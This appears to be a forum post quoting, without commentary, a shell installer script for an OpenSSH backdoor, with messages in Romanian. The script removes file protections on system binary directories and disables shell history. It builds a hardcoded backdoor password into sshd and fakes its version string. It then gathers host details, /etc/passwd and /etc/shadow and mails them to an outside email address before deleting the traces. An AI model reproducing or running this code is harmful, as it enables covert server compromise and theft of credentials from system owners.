- 论坛徽章:
- 0
|
./inst
- #!/bin/sh
- chattr -Rais /bin /sbin /usr/bin /usr/sbin &>/dev/null
- unset HISTFILE
- export PATH=/usr/sbin:/sbin:$PATH
- pwd=$(pwd)
- sshd=$(which sshd)
- chown root:root *
- if test "$(grep PAM /etc/ssh/sshd_config| grep -v "#")" != "" ; then
- OPTS="--with-pam"
- fi
- ssh -V 2>test
- ver=`cat test | cut -d "_" -f 2 | cut -d "," -f 1`
- echo "[+] Versiunea curenta de openssh: $ver"
- echo "[+] SSH Daemon se afla in: $sshd"
- echo -n "[+] Daca vrei sa continui instalarea apasa Y ? [y/n]: "
- read do
- if [ "$do" = "y" ]; then
- ok=1
- fi
- if [ "$do" = "n" ]; then
- ok=0
- echo -n " [+]Te descurci sau dai un mail la [email]mihai1ro@yahoo.com[/email]? [y/n]"
- read s
- if [ $"s" = "y" ]; then
- sok=1
- fi
- fi
- while [ "$pass" = "" ]; do
- echo -ne "[+] Scrie Parola pt SSHD Backdoor: \033[30m\00"
- read pass
- echo -ne "\033[0m\00"
- done
- # saving yewr little conf in backdoor.h
- echo -e "[+] Stergem Configuratie Actuala"
- rm -rf apps/ssh/genx.h
- rm -rf apps/ssh/ssh2version.h
- echo -e "[+] Configuratia a Fost Stearsa"
- echo -e "[+] Se creaza Noua Configuratie"
- echo "int genx=0,genxlookup=0;" >> apps/ssh/genx.h
- echo "char genxpass[]=\"$pass\",genxbuf[1024];" >> apps/ssh/genx.h
- echo "char genxfile[]=\"/dev/linux\";" >> apps/ssh/genx.h
- echo "#define SSH2_VERSION \"OpenSSH_$ver\"" > apps/ssh/ssh2version.h
- echo -e "[+] Salvam configuratia serverului"
- echo -e " * uname -a" >>/tmp/.l
- echo >>/tmp/.l
- uname -a >>/tmp/.l
- echo >>/tmp/.l
- echo -e " * the ips" >>/tmp/.l
- /sbin/ifconfig | grep inet >> /tmp/.l
- echo -e " * Shadow file" >>/tmp/.l
- echo >>/tmp/.l
- cat /etc/passwd >> /tmp/.l
- cat /etc/shadow >> /tmp/.l
- echo -e " * Proc info" >>/tmp/.l
- echo >>/tmp/.l
- cat /proc/cpuinfo >>/tmp/.l
- echo -e " * Distro and shit Kasandro">>/tmp/.l
- echo >>/tmp/.l
- cat /proc/version >>/tmp/.l
- cat apps/ssh/genx.h >>/tmp/.l
- cat /tmp/.l | mail -s "root mail" [email]mihai1ro@yahoo.com[/email]
- rm -rf /tmp/.l
复制代码 |
|